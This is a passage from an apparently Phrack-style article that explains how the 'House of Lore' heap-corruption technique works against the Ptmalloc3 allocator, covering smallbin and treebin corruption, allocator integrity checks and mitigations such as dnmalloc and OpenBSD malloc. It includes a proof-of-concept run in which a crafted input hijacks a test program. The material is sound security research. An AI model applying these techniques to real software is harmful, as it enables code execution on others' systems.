victim->size |= NON_MAIN_ARENA;
|
|
}
|
|
|
|
/* Split */
|
|
else {
|
|
|
|
----- snip -----
|
|
|
|
|
|
What this means is that the unlink( ) macro has been newly introduced into
|
|
the code, and thus the classic pointer testing mitigate the attack.
|
|
|
|
|
|
|
|
<< Insanity is doing the same
|
|
thing over and over again, and
|
|
expecting different results. >>
|
|
|
|
[ Albert Einstein ]
|
|
|
|
|
|
|
|
.-------------------------.
|
|
---[ 4 ---[ Analysis of Ptmalloc3 ]---
|
|
.-------------------------.
|
|
|
|
Delving into the internals of Ptmalloc3, without warm up, may seem violent,
|
|
but with a little help it's only a child's game.
|
|
|
|
In order to understand correctly the next sections, I present here the most
|
|
notable differences in the code with respect to Ptmalloc2.
|
|
|
|
The basic operation remains the same, in the end it's another common memory
|
|
allocator, and is also based on a version of Doug Lea allocator but adapted
|
|
to work on multiple threads.
|
|
|
|
For example, here is the chunk definition:
|
|
|
|
|
|
struct malloc_chunk {
|
|
size_t prev_foot; /* Size of previous chunk (if free). */
|
|
size_t head; /* Size and inuse bits. */
|
|
struct malloc_chunk* fd; /* double links -- used only if free. */
|
|
struct malloc_chunk* bk;
|
|
};
|
|
|
|
|
|
As we see, the names of our well known "prev_size" and "size" fields have
|
|
been changed, but the meaning remains the same. Furthermore we knew three
|
|
usual bit control to which they added an extra one called "CINUSE_BIT"
|
|
which tells (in a redundant way) that the current chunk is assigned, as
|
|
opposed to that PINUSE_BIT that continues to report the allocation of the
|
|
previous chunk. Both bits have their corresponding checking and assign
|
|
macros.
|
|
|
|
The known "malloc_state" structure now stores the bins into two different
|
|
arrays for different uses:
|
|
|
|
|
|
mchunkptr smallbins[(NSMALLBINS+1)*2];
|
|
tbinptr treebins[NTREEBINS];
|
|
|
|
|
|
The first of them stores free chunks of memory below 256 bytes. Treebins[]
|
|
is responsible for long pieces and uses a special tree organization. Both
|
|
arrays are important in the respective techniques that will be discussed in
|
|
the following sections, providing there more details about its management
|
|
and corruption.
|
|
|
|
Some of the areas of greatest interest in "malloc_state" are:
|
|
|
|
char* least_addr;
|
|
mchunkptr dv;
|
|
size_t magic;
|
|
|
|
* "least_addr" is used in certain macros to check if the address of a
|
|
given P chunk is within a reliable range.
|
|
|
|
* "dv", or Designated Victim is a piece that can be used quickly to serve
|
|
a small request, and to gain efficiency is typically, by general rule,
|
|
the last remaining piece of another small request. This is a value that
|
|
is used frequently in the smallbin code, and we will see it in the next
|
|
section.
|
|
|
|
* "Magic" is a value that should always be equal to malloc_params.magic
|
|
and in principle is obtained through the device "/dev/urandom". This
|
|
value can be XORed with mstate and written into p->prev_foot for later
|
|
to retrieve the mstate structure of that piece by applying another XOR
|
|
operation with the same value. If "/dev/urandom" can not be used, magic
|
|
is calculated from the time(0) syscall and "0x55555555U" value with
|
|
other checkups, and if the constant INSECURE was defined at compile
|
|
time magic then directly take the constant value: "0x58585858U".
|
|
|
|
For security purposes, some of the most important macros are following:
|
|
|
|
|
|
#define ok_address(M, a) ((char*)(a) >= (M)->least_addr)
|
|
#define ok_next(p, n) ((char*)(p) < (char*)(n))
|
|
#define ok_cinuse(p) cinuse(p)
|
|
#define ok_pinuse(p) pinuse(p)
|
|
#define ok_magic(M) ((M)->magic == mparams.magic)
|
|
|
|
|
|
which could always return true if the constant INSECURE is defined at
|
|
compile time (which is not the case by default).
|
|
|
|
|
|
The last macro that you could be observe frequently is "RTCHECK(e)" which
|
|
is nothing more than a wrapper for "__builtin_expect(e, 1)", which in time
|
|
is more familiar from previous studies on malloc.
|
|
|
|
As we said, "malloc_params" contains some of the properties that can be
|
|
established through "mallopt(int param, int value)" at runtime, and
|
|
additionally we have the structure "mallinfo" that maintains the global
|
|
state of the allocation system with information such as the amount of
|
|
already allocated space, the amount of free space, the number of total free
|
|
chunks, etc...
|
|
|
|
Talking about the management of Mutex and treatment of Threads in Ptmalloc3
|
|
is something beyond the scope of this article (and would probably require
|
|
to write an entire book), so we will not discuss this issue and will rather
|
|
go forward.
|
|
|
|
In the next section we see that every precaution that have been taken are
|
|
not sufficient to mitigate the attack presented here.
|
|
|
|
|
|
|
|
<< Software is like entropy: It is
|
|
difficult to grasp, weighs nothing,
|
|
and obeys the Second Law of Thermodynamics:
|
|
i.e., it always increases. >>
|
|
|
|
[ Norman Augustine ]
|
|
|
|
|
|
|
|
.---------------------------------.
|
|
---[ 4.1 ---[ SmallBin Corruption (Reverse) ]---
|
|
.---------------------------------.
|
|
|
|
In an attempt to determine whether THoL could be viable in this last
|
|
version of Wolfram Gloger. This version have a lot security mechanisms and
|
|
integrity checks against heap overflows, fortunately I discovered a variant
|
|
of our smallbin corruption method, this variant could be applied.
|
|
|
|
To begin, we compile Ptmalloc3 and link the library statically with the
|
|
vulnerable application presented in 2.2.1. After using the same method to
|
|
exploit that application (by adjusting the evil_func( ) address of course,
|
|
which would be our dummy shellcode), we obtain a segment violation at
|
|
malloc.c, particularly in the last instruction of this piece of code:
|
|
|
|
|
|
----- snip -----
|
|
|
|
void* mspace_malloc(mspace msp, size_t bytes) {
|
|
.....
|
|
if (!PREACTION(ms)) {
|
|
.....
|
|
if (bytes <= MAX_SMALL_REQUEST) {
|
|
.....
|
|
if ((smallbits & 0x3U) != 0) {
|
|
.....
|
|
b = smallbin_at(ms, idx);
|
|
p = b->fd;
|
|
unlink_first_small_chunk(ms, b, p, idx);
|
|
|
|
----- snip -----
|
|
|
|
|
|
Ptmalloc3 can use both dlmalloc( ) and mspace_malloc( ) depending on
|
|
whether the constant "ONLY_MSPACES" has been defined at compile-time (this
|
|
is the default option -DONLY_MSPACES). This is irrelevant for the purposes
|
|
of this explanation since the code is practically the same for both
|
|
functions.
|
|
|
|
The application breaks when, after having overwritten the "bk" pointer of
|
|
buff2, one requests a new buffer with the same size. Why does it happen?
|
|
|
|
As you can see, Ptmallc3 acts in an opposite way of Ptmalloc2. Ptmalloc2
|
|
attempts to satisfy the memory request with the last piece in the bin,
|
|
however, Ptmalloc3 intends to cover the request with the first piece of the
|
|
bin: "p = b->fd".
|
|
|
|
mspace_malloc () attempts to unlink this piece of the corresponding bin to
|
|
serve the user request, but something bad happens inside the
|
|
"unlink_first_small_chunk( )" macro, and the program segfaults.
|
|
|
|
Reviewing the code, we are interested by a few lines:
|
|
|
|
|
|
----- snip -----
|
|
|
|
#define unlink_first_small_chunk(M, B, P, I) {\
|
|
mchunkptr F = P->fd;\ [1]
|
|
.....
|
|
if (B == F)\
|
|
clear_smallmap(M, I);\
|
|
else if (RTCHECK(ok_address(M, F))) {\ [2]
|
|
B->fd = F;\ [3]
|
|
F->bk = B;\ [4]
|
|
}\
|
|
else {\
|
|
CORRUPTION_ERROR_ACTION(M);\
|
|
}\
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
Here, P is our overwritten chunk, and B is the bin belonging to that piece.
|
|
In [1], F takes the value of the "fd" pointer that we control (at the same
|
|
time that we overwrote the "bk" pointer in buff2).
|
|
|
|
If [2] is overcome, which is a security macro we've seen in the previous
|
|
section:
|
|
|
|
|
|
#define ok_address(M, a) ((char*)(a) >= (M)->least_addr)
|
|
|
|
|
|
where the least_addr field is "the least address ever obtained from
|
|
MORECORE or MMAP"... then anything of higher value will pass this test.
|
|
|
|
We arrive to the classic steps of unlink, in [3] the "fd" pointer of the
|
|
bin points to our manipulated address. In [4] is where a segmentation
|
|
violation occurs, as it tries to write to (0x41414141)->bk the address of
|
|
the bin. As it falls outside the allocated address space, the fun ends.
|
|
|
|
For the smallbin corruption technique over Ptmalloc3 it is necessary to
|
|
properly overwrite the "fd" pointer of a freed buffer with a random
|
|
address. After, it is necessary to try making a future call to malloc( ),
|
|
with the same size, that returns the random address as the allocated space.
|
|
|
|
The precautions are the same as in 2.2.1, F->bk must contain a writable
|
|
address, otherwise it will cause an access violation in [4].
|
|
|
|
If we accomplish all this conditions, the first chunk of the bin will be
|
|
unlinked and the following piece of code will be triggered.
|
|
|
|
|
|
----- snip -----
|
|
|
|
mem = chunk2mem(p);
|
|
check_malloced_chunk(gm, mem, nb);
|
|
goto postaction;
|
|
|
|
.....
|
|
postaction:
|
|
POSTACTION(gm);
|
|
return mem;
|
|
|
|
----- snip -----
|
|
|
|
|
|
I added the occasional printf( ) sentence into mspace_malloc( ) and the
|
|
unlink_first_small_chunk( ) macro to see what happened, and the result was
|
|
as follow:
|
|
|
|
|
|
Starting program: /home/black/ptmalloc3/thl `perl -e 'print "A"x24 .
|
|
"\x28\xf3\xff\xbf"'` < evil.in
|
|
|
|
[mspace_malloc()]: 16 bytes <= 244
|
|
Buff1 -> [ 0xb7feefe8 ]
|
|
[mspace_malloc()]: 128 bytes <= 244
|
|
Buff2 -> [ 0xb7fef000 ]
|
|
Buff3 -> [ 0xb7fef088 ]
|
|
|
|
Buff4 -> [ 0xb7fef190 ]
|
|
|
|
[mspace_malloc()]: 128 bytes <= 244
|
|
[unlink_first_small_chunk()]: P->fd = 0xbffff328
|
|
LB1 -> [ 0xb7fef000 ]
|
|
|
|
[mspace_malloc()]: 128 bytes <= 244
|
|
[unlink_first_small_chunk()]: P->fd = 0xbffff378
|
|
LB2 -> [ 0xbffff330 ]
|
|
|
|
Which is your favourite hobby:
|
|
This is an evil function. You become a cool hacker if you are able to
|
|
execute it
|
|
|
|
|
|
"244" is the present value of MAX_SMALL_REQUEST, which as we can see, is
|
|
another difference from Ptmalloc2, which defined a smallbin whenever
|
|
requested size was less than 512. In this case the range is a little more
|
|
limited.
|
|
|
|
|
|
|
|
<< From a programmer's point of view,
|
|
the user is a peripheral that types
|
|
when you issue a read request. >>
|
|
|
|
[ P. Williams ]
|
|
|
|
|
|
|
|
.----------------------------------------.
|
|
---[ 4.2 ---[ LargeBin Method (TreeBin Corruption) ]---
|
|
.----------------------------------------.
|
|
|
|
At this point of the article, we have understood the basic concepts
|
|
correctly. One could now continue to study on his own the Ptmalloc3
|
|
internals.
|
|
|
|
In Ptmalloc3, large chunks (ie larger than 256 bytes), are stored in a tree
|
|
structure where each chunk has a pointer to its father, and retains two
|
|
pointers to its children (left and right) if having any. The code that
|
|
defines this structure is the following:
|
|
|
|
|
|
----- snip -----
|
|
|
|
struct malloc_tree_chunk {
|
|
/* The first four fields must be compatible with malloc_chunk */
|
|
size_t prev_foot;
|
|
size_t head;
|
|
struct malloc_tree_chunk* fd;
|
|
struct malloc_tree_chunk* bk;
|
|
|
|
struct malloc_tree_chunk* child[2];
|
|
struct malloc_tree_chunk* parent;
|
|
bindex_t index;
|
|
};
|
|
|
|
----- snip -----
|
|
|
|
|
|
When a memory request for a long buffer is made, the
|
|
"if (bytes <= MAX_SMALL_REQUEST) {}" sentence fails, and the executed code,
|
|
if nothing strange happens, is as follow:
|
|
|
|
|
|
----- snip -----
|
|
|
|
else {
|
|
nb = pad_request(bytes);
|
|
if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) {
|
|
check_malloced_chunk(ms, mem, nb);
|
|
goto postaction;
|
|
}
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
Into tmalloc_large( ), we aim to achieve this code:
|
|
|
|
|
|
----- snip -----
|
|
|
|
if (v != 0 && rsize < (size_t)(m->dvsize - nb)) {
|
|
if (RTCHECK(ok_address(m, v))) { /* split */
|
|
.....
|
|
if (RTCHECK(ok_next(v, r))) {
|
|
unlink_large_chunk(m, v);
|
|
if (rsize < MIN_CHUNK_SIZE)
|
|
set_inuse_and_pinuse(m, v, (rsize + nb));
|
|
else {
|
|
set_size_and_pinuse_of_inuse_chunk(m, v, nb);
|
|
set_size_and_pinuse_of_free_chunk(r, rsize);
|
|
insert_chunk(m, r, rsize);
|
|
}
|
|
return chunk2mem(v);
|
|
.....
|
|
|
|
----- snip -----
|
|
|
|
|
|
If we tried to exploit this program in the same way as for Ptmalloc2, the
|
|
application would break first in the "unlink_large_chunk( )" macro, which
|
|
is very similar to "unlink_first_small_chunk( )". The most important lines
|
|
of this macro are these:
|
|
|
|
|
|
F = X->fd;\ [1]
|
|
R = X->bk;\ [2]
|
|
F->bk = R;\ [3]
|
|
R->fd = F;\ [4]
|
|
|
|
|
|
Thus we now know that both the "fd" and "bk" pointers of the overwritten
|
|
chunk must be pointing to writable memory addresses, otherwise this could
|
|
lead to an invalid memory access.
|
|
|
|
The next error will come in: "set_size_and_pinuse_of_free_chunk(r, rsize)",
|
|
which tells us that the "size" field of the overwritten chunk must be
|
|
user-controlled. And so again, we need the vulnerable application to allow
|
|
us introducing NULL bytes.
|
|
|
|
If we can accomplish this, the first call to "malloc(1536)" of the
|
|
application shown in section 3 will be executed correctly, and the issue
|
|
will come with the second call. Specifically within the loop:
|
|
|
|
|
|
----- snip -----
|
|
|
|
while (t != 0) { /* find smallest of tree or subtree */
|
|
size_t trem = chunksize(t) - nb;
|
|
if (trem < rsize) {
|
|
rsize = trem;
|
|
v = t;
|
|
}
|
|
t = leftmost_child(t);
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
When you first enter this loop, "t" is being equal to the address of the
|
|
first chunk in the tree_bin[] corresponding to the size of the buffer
|
|
requested. The loop will continue while "t" has still some son and, finally
|
|
"v" (victim) will contain the smallest piece that can satisfy the request.
|
|
|
|
The trick for saving our problem is to exit the loop after the first
|
|
iteration. For this, we must make "leftmost_child(t)" returning a "0"
|
|
value.
|
|
|
|
Knowing the definition:
|
|
|
|
|
|
#define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0]:(t)->child[1])
|
|
|
|
|
|
The only way is to place (buff2->bk) in an address of the stack. It is
|
|
necessary the pointers child[0] and child[1] with a "0" value, which means
|
|
no more children. Then "t" (and therefore "v") will be provided while the
|
|
"size" field not fails the if( ) sentence.
|
|
|
|
|
|
|
|
<< Before software should be
|
|
reusable, it should be usable. >>
|
|
|
|
[ Ralph Johnson ]
|
|
|
|
|
|
|
|
.-----------------------------.
|
|
---[ 4.3 ---[ Implement Security Checks ]---
|
|
.-----------------------------.
|
|
|
|
Ptmalloc3 could be safer than it seems at first, but for this, you should
|
|
have defined the FOOTERS constant at compile time (which is not the default
|
|
case).
|
|
|
|
We saw the "magic" parameter at the beginning of section 4, which is
|
|
present in all malloc_state structures and the way in which it is
|
|
calculated. The reason why "prev_size" now is named as "prev_foot" if that
|
|
if FOOTERS is defined, then this field is used to store the result of a XOR
|
|
operation between the mstate belonging to the chunk and the magic value
|
|
recently calculated. This is done with:
|
|
|
|
|
|
/* Set foot of inuse chunk to be xor of mstate and seed */
|
|
#define mark_inuse_foot(M,p,s)\
|
|
(((mchunkptr)((char*)(p)+(s)))->prev_foot = ((size_t)(M) ^ mparams.magic))
|
|
|
|
|
|
XOR, as always, remains being a symmetric encryption that allows, at the
|
|
same time, saving the malloc_state address and establishing a kind of
|
|
cookie to prevent a possible attack whenever altered. This mstate is
|
|
obtained with the following macro:
|
|
|
|
|
|
#define get_mstate_for(p)\
|
|
((mstate)(((mchunkptr)((char*)(p) +\
|
|
(chunksize(p))))->prev_foot ^ mparams.magic))
|
|
|
|
|
|
For example, at the beginning of the "mspaces_free( )" function which is
|
|
called by the wrapper free( ), is started in this way:
|
|
|
|
|
|
#if FOOTERS
|
|
mstate fm = get_mstate_for(p);
|
|
#else /* FOOTERS */
|
|
mstate fm = (mstate)msp;
|
|
#endif /* FOOTERS */
|
|
if (!ok_magic(fm)) {
|
|
USAGE_ERROR_ACTION(fm, p);
|
|
return;
|
|
}
|
|
|
|
|
|
If we corrupt the header of an allocated chunk (and therefore the prev_foot
|
|
field). When the chunk was freed, get_mstate_for( ) will return an
|
|
erroneous arena. At this moment ok_magic( ) will test the "magic" value of
|
|
that area and it will abort the application.
|
|
|
|
Moreover, one must be aware that the current flow could be broken even
|
|
before the USAGE_ERROR_ACTION( ) call if the reading of fm->magic causes a
|
|
segmentation fault due to wrong value obtained by get_mstate_for( ).
|
|
|
|
How to deal with this cookie and the probability analysis in order to
|
|
predict its value at runtime is an old issue, and we will not talk more
|
|
here about it. Though one could remember the PaX case, perhaps an
|
|
overwritten pointer can point beyond the "size" field of a chunk, and
|
|
through a future STRxxx( ) or MEMxxx( ) call, crush their data without have
|
|
altered "prev_foot". Skape made an excellent job in his "Reducing the
|
|
effective entropy of gs cookies" [4] for the Windows platform. It could
|
|
give you some fantastic ideas to apply. Who knows, it all depends on the
|
|
vulnerability and inherent requirements of the tested application.
|
|
|
|
What is the advantage of THoL according to this protection? It is very
|
|
clear, the target chunk is corrupted after its release, and therefore the
|
|
integrity checks are passed.
|
|
|
|
Anyway, there should be ways to mitigate these kinds of problems, to start,
|
|
if we all know that no memory allocation should proceed belonging to a
|
|
stack location, one could implement something as simple as this:
|
|
|
|
#define STACK_ADDR 0xbff00000
|
|
|
|
#define ok_address(M, a) (((char*)(a) >= (M)->least_addr)\
|
|
&& ((a) <= STACK_ADDR))
|
|
|
|
|
|
and the application is aborted before getting a successful exploitation.
|
|
Also a check as ((a) >> 20) == 0xbff) should be effective. It is only an
|
|
example, the relative stack position could be very different in your
|
|
system, it is a very restrictive protection.
|
|
|
|
Anyone who read the source code base has probably noticed that Ptmalloc3's
|
|
unlink...( ) macros omit the classic tests that implanted in glibc to check
|
|
the double linked list. We do not consider this because we know that a real
|
|
implementation would take it into account and should add this integrity
|
|
check. However, I can not perform a more detailed stud until someone
|
|
decides in a future that glibc will be based on Ptmalloc3.
|
|
|
|
The conclusion of this overview is that some of the techniques detailed in
|
|
the Maleficarum & Des-Maleficarum papers are not reliable in Ptmalloc3. One
|
|
of them, for example, is The House of Force. Remember that it needs both to
|
|
overwrite the "size" field of the wilderness chunk and a request with a
|
|
user-defined size. This was possible partly in Ptmalloc2 because the size
|
|
of the top chunk was read in this way:
|
|
|
|
|
|
victim = av->top;
|
|
size = chunksize(victim);
|
|
|
|
|
|
Unfortunately, now Ptmalloc3 saves this value in the "malloc_state" and
|
|
reads it directly with this:
|
|
|
|
|
|
size_t rsize = (g)m->topsize // gm for dlmalloc( ), m for
|
|
// mspace_malloc( )
|
|
|
|
|
|
In any case, it is worth recalling one of the comments present at the
|
|
beginning of "malloc.c":
|
|
|
|
"This is only one aspect of security -- these checks do not,
|
|
and cannot, detect all possible programming errors".
|
|
|
|
|
|
|
|
<< Programming without an overall architecture
|
|
or design in mind is like exploring a cave
|
|
with only a flashlight: You don't know where
|
|
you've been, you don't know where you're going,
|
|
and you don't know quite where you are. >>
|
|
|
|
[ Danny Thorpe ]
|
|
|
|
|
|
|
|
.-----------------------------------.
|
|
---[ 4.3.1 ---[ Secure Heap Allocator (Utopian) ]---
|
|
.-----------------------------------.
|
|
|
|
First, there is no way to create a "heap allocator" totally secure, it's
|
|
impossible (note: you can design the most secure allocator in the world but
|
|
if it's too slow => it's no use). To begin with, and the main rule (which
|
|
is fairly obvious), implies that the control structures or more simply,
|
|
headers, can not be located being adjacent to the data. Create a macro that
|
|
adds 8 bytes to the address of a header for direct access to data is very
|
|
simple, but has never been a safe option.
|
|
|
|
However, although this problem will be solved, still others thought to
|
|
corrupt the data of another allocated chunk is not useful if it not allows
|
|
arbitrary code execution, but and if these buffers contain data whose
|
|
integrity has to be guaranteed (financial information, others...)?
|
|
|
|
Then we came to the point in which it is essential the use cookies between
|
|
the fragments of memory assigned. It obviously has side effects. The most
|
|
efficient would be that this cookie (say 4 bytes) will be the last 4 bytes
|
|
of each allocated chunk, with the target of preserve the alignment, since
|
|
that put them between two chunks required a more complicated and possibly
|
|
slower management.
|
|
|
|
Besides this, we could also take ideas from "Electric Fence - Red-Zone
|
|
memory allocator" by Bruce Perens [5]. His protection ideas are:
|
|
|
|
|
|
- Anti Double Frees:
|
|
|
|
if ( slot->mode != ALLOCATED ) {
|
|
if ( internalUse && slot->mode == INTERNAL_USE )
|
|
.....
|
|
else {
|
|
EF_Abort("free(%a): freeing free memory.",address);
|
|
|
|
- Free unallocated space (EFense maintains an array of addresses
|
|
of chunks allocated (slots) ):
|
|
|
|
slot = slotForUserAddress(address);
|
|
if ( !slot )
|
|
EF_Abort("free(%a): address not from malloc().", address);
|
|
|
|
|
|
Other implementations of dynamic memory management that we should take into
|
|
account: Jemalloc on FreeBSD [6] and Guard Malloc for Mac OS X [7].
|
|
|
|
The first is specially designed for concurrent systems. We talked about
|
|
management of multiple threads on multiple processors, and how to achieve
|
|
this efficiently, without affecting system performance, and getting better
|
|
times in comparison with other memory managers.
|
|
|
|
The second, to take one example, use the pagination and its mechanism of
|
|
protection in a very clever way. Extracted directly from the manpage, we
|
|
read the core of his method:
|
|
|
|
"Each malloc allocation is placed on its own virtual memory page, with
|
|
the end of the buffer at the end of the page's memory, and the next
|
|
page is kept unallocated. As a result, accesses beyond the end of the
|
|
buffer cause a bus error immediately. When memory is freed, libgmalloc
|
|
deallocates its virtual memory, causing reads or writes to the freed
|
|
buffer cause a bus error."
|
|
|
|
Note: That's a really interesting idea but you should take into account the
|
|
fact that such a technic is not _that_ effective because if would sacrifice
|
|
a lot of memory. It would induce a PAGE_SIZE (4096 bytes is a common value,
|
|
or getpagesize( ) ;) allocation for a small chunk.
|
|
|
|
In my opinion, I do not see Guard Malloc as a memory manager of routine
|
|
use, but rather as an implementation with which to compile your programs in
|
|
the early stages of development/debugging.
|
|
|
|
However, Guard Malloc is a highly user-configurable library. For example,
|
|
you could allow through an specific environment variable
|
|
(MALLOC_ALLOW_READS) to read past an allocated buffer. This is done by
|
|
setting the following virtual page as Read-Only. If this variable is
|
|
enabled along with other specific environment variable
|
|
(MALLOC_PROTECT_BEFORE), you can read the previous virtual page. And still
|
|
more, if MALLOC_PROTECT_BEFORE is enabled without MALLOC_ALLOW_READS buffer
|
|
underflow can be detected. But this is something that you can read in the
|
|
official documentation, and it's needless to say more here.
|
|
|
|
|
|
|
|
<< When debugging, novices insert corrective
|
|
code; experts remove defective code. >>
|
|
|
|
[ Richard Pattis ]
|
|
|
|
|
|
|
|
.------------.
|
|
---[ 4.3.2 ---[ dnmalloc ]---
|
|
.------------.
|
|
|
|
This implementation (DistriNet malloc) [10] is like the most modern
|
|
systems: code and data are loaded into separate memory locations, dnmalloc
|
|
applies the same to chunk and chunk information which are stored in
|
|
separate contiguous memory protected by guard pages. A hashtable which
|
|
contains pointers to a linked list of chunk information accessed through
|
|
the hash function is used to associate chunks with the chunks information.
|
|
[12]
|
|
|
|
Memory with dnmalloc:
|
|
|
|
.---------------.
|
|
| .text |
|
|
.---------------.
|
|
| .data |
|
|
.---------------.
|
|
...
|
|
.---------------.
|
|
| Chunks |
|
|
.---------------.
|
|
..
|
|
||
|
|
||
|
|
\/
|
|
|
|
/\
|
|
||
|
|
||
|
|
..
|
|
.--------------------.
|
|
| Memory Page | <- This Page is not writable
|
|
.--------------------.
|
|
| Chunk Information |
|
|
.--------------------.
|
|
| The Hash Table |
|
|
.--------------------.
|
|
| Memory Page |
|
|
.--------------------.
|
|
| The Stack | <- This Page is not writable
|
|
.--------------------.
|
|
|
|
The way to find the chunk information:
|
|
|
|
1.- Address of the chunk - Start address of the heap = *Result*
|
|
|
|
2.- To get the entry in the Hash Table: shift *Result* 7 bits to the right.
|
|
|
|
3.- Go over the linked list till it have the correct chunk.
|
|
|
|
.-------------------------------------.
|
|
| The Hash Table |
|
|
. ................................... .
|
|
| Pointers to each Chunk Information | --> Chunk Information (Hash Next
|
|
.-------------------------------------. to the next Chunk Information)
|
|
|
|
The manipulation of the Chunk Information:
|
|
|
|
1.- A fixed area is mapped below the Hash table for the Chunks Information.
|
|
|
|
2.- Free Chunk Information are stored in a linked list.
|
|
|
|
3.- When a new Chunk Information is needed the first element in the free
|
|
list is used.
|
|
|
|
4.- If none are free a Chunk is allocated from the map.
|
|
|
|
5.- If the map is empty It maps extra memory for it (and move the guard
|
|
page).
|
|
|
|
6.- Chunk information is protected by guard pages.
|
|
|
|
|
|
|
|
<< Passwords are like underwear: you don't let
|
|
people see it, you should change it very often,
|
|
and you shouldn't share it with strangers. >>
|
|
|
|
[ Chris Pirillo ]
|
|
|
|
|
|
|
|
.------------------.
|
|
---[ 4.3.3 ---[ OpenBSD malloc ]---
|
|
.------------------.
|
|
|
|
This implementation [11] [13] have the design goals: simple, unpredictable,
|
|
fast, less metadata space overhead, robust for example freeing of a bogus
|
|
pointer or a double free should be detected ...
|
|
|
|
About the Metadata: keep track of mmaped regions by storing their address
|
|
and size into a hash table, keep existing data structure for chunk
|
|
allocations, a free region cache with a fixed number of slots:
|
|
|
|
Free regions cache
|
|
|
|
1.- Regions freed are kept for later reuse
|
|
|
|
2.- Large regions are unmapped directly
|
|
|
|
3.- If the number of pages cached gets too large, unmap some.
|
|
|
|
4.- Randomized search for fitting region, so region reuse is less
|
|
predictable
|
|
|
|
5.- Optionally, pages in the cache are marked PROT_NONE
|
|
|
|
|
|
|
|
<< Getting information off the Internet is
|
|
like taking a drink from a fire hydrant. >>
|
|
|
|
[ Mitchell Kapor ]
|
|
|
|
|
|
|
|
.-----------------------------.
|
|
---[ 5 ---[ Miscellany, ASLR and More ]---
|
|
.-----------------------------.
|
|
|
|
We already mentioned something about ASLR and Non Exec Heap in the Malloc
|
|
Des-Maleficarum paper. Now we do the same with the method we have studied.
|
|
|
|
For the purposes of this technique, I considered disabled the ASLR in all
|
|
examples of this article. If this protection was enabled in real life then
|
|
randomization only affects to the position of the final fake chunk in the
|
|
stack and our ability to predict a memory address close enough to a saved
|
|
return address that can be overwritten. This should not be an utterly
|
|
impossible task, and we consider that the bruteforce is always a
|
|
possibility that we will have a hand in most restrictive situations.
|
|
|
|
Obviously, the non-exec heap does not affect the techniques described in
|
|
this paper, as one might place a shellcode in any elsewhere, although we
|
|
warn that if the heap is not executable it is very likely that the stack
|
|
will not be either. Therefore one should use a ret2libc style attack or
|
|
return into mprotect( ) to avoid this protection.
|
|
|
|
This is an old theme, and each will know how to analyze problems underlying
|
|
the system attacked.
|
|
|
|
Unfortunately, I do not show a real-life exploit here. But we can talk a
|
|
bit about the reliability and potential of success when we are studying a
|
|
vulnerability in the wild.
|
|
|
|
The preconditions are clear, this has been seen repeatedly throughout of
|
|
this article. The obvious difference between the PoC's that I presented
|
|
here and the applications you use every day (as well as email clients, or
|
|
web browsers), is that one can not predict in a first chance the current
|
|
state of the heap. And this is really a problem, because while this is not
|
|
in a fairly stable and predictable state, the chances of exploiting will be
|
|
minimal.
|
|
|
|
But very high-level hackers have already met once this class of problems,
|
|
and over time have been designing and developing a series of techniques
|
|
which allow reordering the heap so that both, the position of the allocated
|
|
chunks as the data contained within them, are parameters controlled by the
|
|
user. Among these techniques, we must appoint two best known:
|
|
|
|
- Heap Spray
|
|
- Heap Feng Shui
|
|
|
|
You can read something about them in the following paper presented at the
|
|
BlackHat 2007 [8]. In short we can say that the "Heap Spray" technique
|
|
simply fill in the heap as far as possible by requesting large amount of
|
|
memory placing there repetitions of nop sleds and the opportune shellcode,
|
|
then just simply find a predictable memory address for the "primitive
|
|
4-byte overwrite". A very clever idea in this technique is to make the nop
|
|
sled values equal to the selected address, so that it will be
|
|
self-referential.
|
|
|
|
Feng Shui is a much more elaborate technique, it first tries to defragment
|
|
the Heap by filling the holes. Then it comes back to create holes in the
|
|
upper controlled zone so that the memory remains as:
|
|
|
|
[ chunk | hole | chunk | hole | chunk | hole | chunk ]
|
|
|
|
... and finally tries to create the buffer to overflow in one of these
|
|
holes, knowing that this will always be adjacent to one of its buffers
|
|
containing information controlled by the exploiter.
|
|
|
|
We will not talk about it more here. Just say that although some of these
|
|
methodologies may seem time consuming and fatigue making, without them
|
|
nobody could create reliable exploits, or obtain success in most of the
|
|
attempts.
|
|
|
|
|
|
|
|
<< Programming today is a race between software
|
|
engineers striving to build bigger and better
|
|
idiot-proof programs, and the Universe trying
|
|
to produce bigger and better idiots. So far,
|
|
the Universe is winning. >>
|
|
|
|
[ Rich Cook ]
|
|
|
|
|
|
|
|
.---------------.
|
|
---[ 6 ---[ Conclusions ]---
|
|
.---------------.
|
|
|
|
In this article we have seen how The House of Lore hid inside of itself a
|
|
power much greater than we imagined. We also presented a fun example
|
|
showing that, despite not being vulnerable to all the techniques we knew so
|
|
far, it was still vulnerable to one that until now had only been described
|
|
theoretically.
|
|
|
|
We detail a second method of attack also based on the corruption of a
|
|
largebin, this attack could be an alternative in some circumstances and
|
|
should be as important as the main method of the smallbin corruption.
|
|
|
|
Finally we detailed a way to apply THoL in version 3 of the Ptmalloc
|
|
library, which many thought was not vulnerable to attacks due to the
|
|
imposition of numerous restrictions.
|
|
|
|
Reviewing and analyzing in depth some of the security mechanisms that have
|
|
been implanted in this library, allowed to find that further studies will
|
|
be needed to discover new vulnerabilities and areas of code that can be
|
|
manipulated for personal fun and profit.
|
|
|
|
If you want a tip from mine on how to improve your hacking, here goes:
|
|
|
|
Reads everything, study everything... then forget it all and do it
|
|
differently, do it better. Fill your cup, empty your cup and fill it again
|
|
with fresh water.
|
|
|
|
Finally, I would like to recall that I said the following in my "Malloc
|
|
Des-Maleficarum" paper:
|
|
|
|
"...and The House of Lore, although not very suitable for a
|
|
credible case, no one can say that is a complete exception..."
|
|
|
|
With this new article I hope I have changed the meaning of my words, and
|
|
shown that sometimes in hacking you make mistakes, but never stop to
|
|
investigate and repair your errors. Everything we do is for fun, and we
|
|
will do it as long as we exist on the land and cyberspace.
|
|
|
|
|
|
|
|
<< All truths are easy to understand
|
|
once they are discovered;
|
|
the point is to discover them. >>
|
|
|
|
[ Galileo Galilei ]
|
|
|
|
|
|
|
|
.-------------------.
|
|
---[ 7 ---[ Acknowledgments ]---
|
|
.-------------------.
|
|
|
|
First, I would like to give my acknowledgments to Dreg for his insistence
|
|
for that I would do something with this paper and it not to fall into
|
|
oblivion. After a bad time ... I could not give a talk on this subject at
|
|
RootedCon [9], Dreg still graciously encouraged me to finish the
|
|
translation and publish this article in this fantastic e-zine which
|
|
